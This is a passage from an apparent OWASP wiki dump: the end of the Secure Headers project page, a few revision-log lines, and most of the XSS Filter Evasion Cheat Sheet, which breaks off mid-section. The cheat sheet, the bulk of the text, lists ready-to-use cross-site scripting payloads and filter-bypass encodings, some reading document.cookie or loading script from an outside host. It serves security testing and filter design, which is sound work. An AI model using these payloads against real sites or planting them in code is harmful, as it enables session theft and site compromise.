: A core set of fields is standardized by the Internet Engineering Task Force (IETF) in RFCs 7230, 7231, 7232, 7233, 7234, and 7235. The permanent registry of header fields and repository of provisional registrations are maintained by the IANA. Additional field names and permissible values may be defined by each application. Non-standard header fields were conventionally marked by prefixing the field name with X- but this convention was deprecated in June 2012 because of the inconveniences it caused when non-standard fields became standard. An earlier restriction on use of Downgraded- was lifted in March 2013.

; Why I need worry about that?
: Like other initiatives supported by OWASP, this project have the objetive to help all community to conceive, develop, acquire, operate and maintain applications that can be trusted as provide useful information about the use relative of secure http headers by applications and platforms supported.

; Where can apply secure features presented by this project?
: The effectiveness provides by secure http headers demands that application or some component of infrastructure indicate proper header and correspondent value as like use of some client that implement that feature.

; When I consider apply this improvements?
: The short response it's right now. However we believe in approach more responsible. So we recommend conducting a planning and preliminary study, as well the incremental inclusion of insurance headers.

: Headers like: [https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#HTTP_pinning Public Key Pinning Extension for HTTP (HPKP)], [https://www.owasp.org/index.php/HTTP_Strict_Transport_Security HTTP Strict Transport Security (HSTS)] and [https://www.owasp.org/index.php/Content_Security_Policy Content Security Policy (CSP)] need a special attention in order not to cause any incident. Some real cases about to use of secure headers can be seen:

: - [http://news.netcraft.com/archives/2016/03/22/secure-websites-shun-http-public-key-pinning.html Secure websites shun HTTP Public Key Pinning]
: - [http://news.netcraft.com/archives/2016/03/30/http-public-key-pinning-youre-doing-it-wrong.html HTTP Public Key Pinning: You’re doing it wrong!]
: - [https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/ CSP On Reporting and Filtering]
: - [https://developer.chrome.com/extensions/contentSecurityPolicy Content Security Policy (CSP)]

; Who can be responsible to apply secure features?
: The responsability to provides more secure environment it's a effort that envolve developers, system administrators, vendors of web browsers and end user.

: Like this the success of secure headers strategy depends of proper client, in general a web browser, and web application or some infrastructure component configured appropriately.

; How can I apply secure http headers?
: The use of secure headers can occur directly through of handling http response headers or using some framework, in addition to conducting appropriate configuration in web server.

: The OWASP: Secure Headers project provides a list of resources and examples to help understand, analyze and configure secure headers.

; What's the costs relative to apply this actions?
: There's no costs in to use secure headers. However some effort to configure and manage properly configuration will be necessary.

= Acknowledgements =
==Contributors==
OWASP Secure Headers Project is developed by a worldwide team of volunteers. The primary contributors to date have been:

* [https://www.owasp.org/index.php/User:Riramar Ricardo Iramar]
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico]
* [https://www.owasp.org/index.php/Special:Contributions/Amenezes Alexandre Menezes]

= Road Map and Getting Involved =

Involvement in the development and promotion of OWASP Secure Headers Project is actively encouraged!
You do not have to be a security expert in order to contribute.
If you want to help send an email to [mailto:ricardo.iramar@owasp.org ricardo.iramar@owasp.org].

== To Do ==

* Perform public to scan websites and view stats regarding these headers. Automated scanning of the top 1m sites on the web; filtering of said sites to view stats across industries and countries; published database dumps for public consumption/tools; scanning of individual sites; comparing multiple scanned sites.
* Consistent reports regarding this secure headers, their usage, any changes to existing headers.
* Reorganize "Best Practices" tab and include a section for related security best practices around headers (e.g. "Remove Server Header" and "Remove X-Powered-By Header".
* Create a parser to grab the headers from https://scans.io and populate the MySQL database.

== Doing ==

* Producing open source, easily implemented, well documented code libraries that enable these headers for a variety of platforms. We'll prioritize creating and publicizing Node.JS, PHP, Ruby, and Java, but will eventually reach out towards edge cases like Go, Python and others. The key is to make this accessible as possible to developers.
* Including how to set properly secure headers on IIS.
* Improve constantly hsecscan tool to detect bad practices and provide link to the best practices above.

== Done ==

* Creating secure best practices implementations including how to set properly secure headers on the most common platforms (eg. Apache, NGINX and Lighttpd).
* Divide the "Tools_and_Libraries" tab into two differents tab (Scanners and Libraries).
* Include link to attack pages.
* Include Top Websites Examples tab.
* Move the Best Practices to another tab.
* Include a new tab only for browser versions compatibility.
* Include X-Permitted-Cross-Domain-Policies under Headers and Best Practices tab.
* Include Expect-CT header and update HPKP.

__NOTOC__ <headertabs></headertabs>

[[Category:OWASP Project]]

JSON Web Token (JWT) Cheat Sheet for Java

2018-03-22T08:44:44Z

Peter Mosmans: Fix typo

JSON Web Token (JWT) Cheat Sheet for Java

2018-03-22T07:06:55Z

Peter Mosmans: Fix typo

Deserialization Cheat Sheet

2018-03-21T06:50:11Z

Peter Mosmans: Correct misspellings

Deserialization Cheat Sheet

2018-02-12T05:39:45Z

Peter Mosmans: /* Using Alternative Data Formats */

Deserialization Cheat Sheet

2017-11-17T09:43:03Z

Peter Mosmans: Fix typo

Deserialization Cheat Sheet

2017-11-17T09:41:12Z

Peter Mosmans: Clean up superfluous characters

OWASP PenText Project

2017-10-15T23:17:58Z

Peter Mosmans: Correct grammar, update names and timeline

XSS Filter Evasion Cheat Sheet

2017-10-15T22:57:59Z

Peter Mosmans: Correct misspellings

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/>
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.

= Tests =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

== XSS Locator ==
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

== XSS Locator (short) ==
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable:

'';!--"<XSS>=&{()}

== No Filter Evasion ==
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

== Filter bypass based polyglot ==

<pre>'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"></pre>

== Image XSS using the JavaScript directive ==
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

== No quotes and no semicolon ==

<IMG SRC=javascript:alert('XSS')>

== Case insensitive XSS attack vector ==

<IMG SRC=JaVaScRiPt:alert('XSS')>

== HTML entities ==
The semicolons are required for this to work:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

== Grave accent obfuscation ==
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

== Malformed A tags ==
Skip the HREF attribute and get to the meat of the XXS...
Submitted by David Cross ~ Verified on Chrome

<nowiki><a onmouseover="alert(document.cookie)">xxs link</a></nowiki>

or
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

<nowiki><a onmouseover=alert(document.cookie)>xxs link</a></nowiki>

== Malformed IMG tags ==
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

== fromCharCode ==
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

== Default SRC tag to get past filters that check SRC domain ==
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.
Submitted by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

<IMG SRC=# onmouseover="alert('xxs')">

== Default SRC tag by leaving it empty ==

<IMG SRC= onmouseover="alert('xxs')">

== Default SRC tag by leaving it out entirely ==

<IMG onmouseover="alert('xxs')">

== On error alert ==

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

== IMG onerror and javascript alert encode==

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

== Decimal HTML character references ==
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

== Decimal HTML character references without trailing semicolons ==
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

== Hexadecimal HTML character references without trailing semicolons ==
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

== Embedded tab ==
Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

== Embedded Encoded tab ==
Use this one to break up XSS :
<IMG SRC="jav&#x09;ascript:alert('XSS');">

== Embedded newline to break up XSS ==
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<nowiki><IMG SRC="jav&#x0A;ascript:alert('XSS');"></nowiki>

== Embedded carriage return to break up XSS ==
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<nowiki><IMG SRC="jav&#x0D;ascript:alert('XSS');"></nowiki>

== Null breaks up JavaScript directive ==
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

== Spaces and meta chars before the JavaScript in images for XSS ==
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC="  javascript:alert('XSS');">

== Non-alpha-non-digit XSS ==
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<nowiki><SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT></nowiki>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<nowiki><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></nowiki>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<nowiki><SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT></nowiki>

== Extraneous open brackets ==
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert("XSS");//<</SCRIPT>

== No closing script tags ==
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<nowiki><SCRIPT SRC=http://xss.rocks/xss.js?< B ></nowiki>

== Protocol resolution in script tags ==
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//xss.rocks/.j>

== Half open HTML/JavaScript XSS vector ==
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

== Double open angle brackets ==
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<nowiki><iframe src=http://xss.rocks/scriptlet.html <</nowiki>

== Escaping JavaScript escapes ==
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

</script><script>alert('XSS');</script>

== End title tag ==
This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

<nowiki></TITLE><SCRIPT>alert("XSS");</SCRIPT></nowiki>

==INPUT image ==
<nowiki><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></nowiki>

== BODY image ==
<nowiki><BODY BACKGROUND="javascript:alert('XSS')"></nowiki>

== IMG Dynsrc ==
<nowiki><IMG DYNSRC="javascript:alert('XSS')"></nowiki>

== IMG lowsrc ==
<nowiki><IMG LOWSRC="javascript:alert('XSS')"></nowiki>

== List-style-image ==
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<nowiki><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br></nowiki>

== VBscript in an image ==
<nowiki><IMG SRC='vbscript:msgbox("XSS")'></nowiki>

== Livescript (older versions of Netscape only) ==
<nowiki><IMG SRC="livescript:[code]"></nowiki>

== SVG object tag ==
<nowiki><svg/onload=alert('XSS')></nowiki>

== ECMAScript 6 ==
<nowiki>Set.constructor`alert\x28document.domain\x29```</nowiki>

== BODY tag ==
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<nowiki><BODY ONLOAD=alert('XSS')></nowiki>

== Event Handlers ==

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].

# <code>FSCommand()</code> (attacker can use this when executed from within an embedded Flash object)
# <code>onAbort()</code> (when user aborts the loading of an image)
# <code>onActivate()</code> (when object is set as the active element)
# <code>onAfterPrint()</code> (activates after user prints or previews print job)
# <code>onAfterUpdate()</code> (activates on data object after updating data in the source object)
# <code>onBeforeActivate()</code> (fires before the object is set as the active element)
# <code>onBeforeCopy()</code> (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the <code>execCommand("Copy")</code> function)
# <code>onBeforeCut()</code> (attacker executes the attack string right before a selection is cut)
# <code>onBeforeDeactivate()</code> (fires right after the activeElement is changed from the current object)
# <code>onBeforeEditFocus()</code> (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
# <code>onBeforePaste()</code> (user needs to be tricked into pasting or be forced into it using the <code>execCommand("Paste")</code> function)
# <code>onBeforePrint()</code> (user would need to be tricked into printing or attacker could use the <code>print()</code> or <code>execCommand("Print")</code> function).
# <code>onBeforeUnload()</code> (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
# <code>onBeforeUpdate()</code> (activates on data object before updating data in the source object)
# <code>onBegin()</code> (the onbegin event fires immediately when the element's timeline begins)
# <code>onBlur()</code> (in the case where another popup is loaded and window looses focus)
# <code>onBounce()</code> (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
# <code>onCellChange()</code> (fires when data changes in the data provider)
# <code>onChange()</code> (select, text, or TEXTAREA field loses focus and its value has been modified)
# <code>onClick()</code> (someone clicks on a form)
# <code>onContextMenu()</code> (user would need to right click on attack area)
# <code>onControlSelect()</code> (fires when the user is about to make a control selection of the object)
# <code>onCopy()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Copy")</code> command)
# <code>onCut()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Cut")</code> command)
# <code>onDataAvailable()</code> (user would need to change data in an element, or attacker could perform the same function)
# <code>onDataSetChanged()</code> (fires when the data set exposed by a data source object changes)
# <code>onDataSetComplete()</code> (fires to indicate that all data is available from the data source object)
# <code>onDblClick()</code> (user double-clicks a form element or a link)
# <code>onDeactivate()</code> (fires when the activeElement is changed from the current object to another object in the parent document)
# <code>onDrag()</code> (requires that the user drags an object)
# <code>onDragEnd()</code> (requires that the user drags an object)
# <code>onDragLeave()</code> (requires that the user drags an object off a valid location)
# <code>onDragEnter()</code> (requires that the user drags an object into a valid location)
# <code>onDragOver()</code> (requires that the user drags an object into a valid location)
# <code>onDragDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onDragStart()</code> (occurs when user starts drag operation)
# <code>onDrop()</code> (user drops an object (e.g. file) onto the browser window)
# <code>onEnd()</code> (the onEnd event fires when the timeline ends.
# <code>onError()</code> (loading of a document or image causes an error)
# <code>onErrorUpdate()</code> (fires on a databound object when an error occurs while updating the associated data in the data source object)
# <code>onFilterChange()</code> (fires when a visual filter completes state change)
# <code>onFinish()</code> (attacker can create the exploit when marquee is finished looping)
# <code>onFocus()</code> (attacker executes the attack string when the window gets focus)
# <code>onFocusIn()</code> (attacker executes the attack string when window gets focus)
# <code>onFocusOut()</code> (attacker executes the attack string when window looses focus)
# <code>onHashChange()</code> (fires when the fragment identifier part of the document's current address changed)
# <code>onHelp()</code> (attacker executes the attack string when users hits F1 while the window is in focus)
# <code>onInput()</code> (the text content of an element is changed through the user interface)
# <code>onKeyDown()</code> (user depresses a key)
# <code>onKeyPress()</code> (user presses or holds down a key)
# <code>onKeyUp()</code> (user releases a key)
# <code>onLayoutComplete()</code> (user would have to print or print preview)
# <code>onLoad()</code> (attacker executes the attack string after the window loads)
# <code>onLoseCapture()</code> (can be exploited by the <code>releaseCapture()</code> method)
# <code>onMediaComplete()</code> (When a streaming media file is used, this event could fire before the file starts playing)
# <code>onMediaError()</code> (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
# <code>onMessage()</code> (fire when the document received a message)
# <code>onMouseDown()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseEnter()</code> (cursor moves over an object or area)
# <code>onMouseLeave()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseMove()</code> (the attacker would need to get the user to mouse over an image or table)
# <code>onMouseOut()</code> (the attacker would need to get the user to mouse over an image or table and then off again)
# <code>onMouseOver()</code> (cursor moves over an object or area)
# <code>onMouseUp()</code> (the attacker would need to get the user to click on an image)
# <code>onMouseWheel()</code> (the attacker would need to get the user to use their mouse wheel)
# <code>onMove()</code> (user or attacker would move the page)
# <code>onMoveEnd()</code> (user or attacker would move the page)
# <code>onMoveStart()</code> (user or attacker would move the page)
# <code>onOffline()</code> (occurs if the browser is working in online mode and it starts to work offline)
# <code>onOnline()</code> (occurs if the browser is working in offline mode and it starts to work online)
# <code>onOutOfSync()</code> (interrupt the element's ability to play its media as defined by the timeline)
# <code>onPaste()</code> (user would need to paste or attacker could use the <code>execCommand("Paste")</code> function)
# <code>onPause()</code> (the onpause event fires on every element that is active when the timeline pauses, including the body element)
# <code>onPopState()</code> (fires when user navigated the session history)
# <code>onProgress()</code> (attacker would use this as a flash movie was loading)
# <code>onPropertyChange()</code> (user or attacker would need to change an element property)
# <code>onReadyStateChange()</code> (user or attacker would need to change an element property)
# <code>onRedo()</code> (user went forward in undo transaction history)
# <code>onRepeat()</code> (the event fires once for each repetition of the timeline, excluding the first full cycle)
# <code>onReset()</code> (user or attacker resets a form)
# <code>onResize()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeEnd()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResizeStart()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)
# <code>onResume()</code> (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
# <code>onReverse()</code> (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
# <code>onRowsEnter()</code> (user or attacker would need to change a row in a data source)
# <code>onRowExit()</code> (user or attacker would need to change a row in a data source)
# <code>onRowDelete()</code> (user or attacker would need to delete a row in a data source)
# <code>onRowInserted()</code> (user or attacker would need to insert a row in a data source)
# <code>onScroll()</code> (user would need to scroll, or attacker could use the <code>scrollBy()</code> function)
# <code>onSeek()</code> (the onreverse event fires when the timeline is set to play in any direction other than forward)
# <code>onSelect()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectionChange()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onSelectStart()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)
# <code>onStart()</code> (fires at the beginning of each marquee loop)
# <code>onStop()</code> (user would need to press the stop button or leave the webpage)
# <code>onStorage()</code> (storage area changed)
# <code>onSyncRestored()</code> (user interrupts the element's ability to play its media as defined by the timeline to fire)
# <code>onSubmit()</code> (requires attacker or user submits a form)
# <code>onTimeError()</code> (user or attacker sets a time property, such as dur, to an invalid value)
# <code>onTrackChange()</code> (user or attacker changes track in a playList)
# <code>onUndo()</code> (user went backward in undo transaction history)
# <code>onUnload()</code> (as the user clicks any link or presses the back button or attacker forces a click)
# <code>onURLFlip()</code> (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
# <code>seekSegmentTime()</code> (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

== BGSOUND ==
<BGSOUND SRC="javascript:alert('XSS');">

== & JavaScript includes ==
<nowiki><BR SIZE="&{alert('XSS')}"></nowiki>
== STYLE sheet ==
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

== Remote style sheet ==
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<nowiki><LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"></nowiki>

== Remote style sheet part 2 ==
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<nowiki><STYLE>@import'http://xss.rocks/xss.css';</STYLE></nowiki>

== Remote style sheet part 3 ==
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <nowiki><http://xss.rocks/xss.css>; REL=stylesheet)</nowiki> and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<nowiki><META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"></nowiki>

== Remote style sheet part 4 ==
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<nowiki><STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE></nowiki>

== STYLE tags with broken up JavaScript for XSS ==
This XSS at times sends IE into an infinite loop of alerts:
<nowiki><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></nowiki>

== STYLE attribute using a comment to break up expression ==
Created by Roman Ivanov
<nowiki><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></nowiki>

== IMG STYLE with expression ==
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:
<nowiki>exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'></nowiki>

== STYLE tag (Older versions of Netscape only)==
<nowiki><STYLE TYPE="text/javascript">alert('XSS');</STYLE></nowiki>

== STYLE tag using background-image ==
<nowiki><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></nowiki>

== STYLE tag using background ==
<nowiki><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></nowiki>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

== Anonymous HTML with STYLE attribute ==
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
<nowiki><XSS STYLE="xss:expression(alert('XSS'))"></nowiki>

== Local htc file ==
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">

== US-ASCII encoding ==
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

== META ==
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></nowiki>

=== META using data ===
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

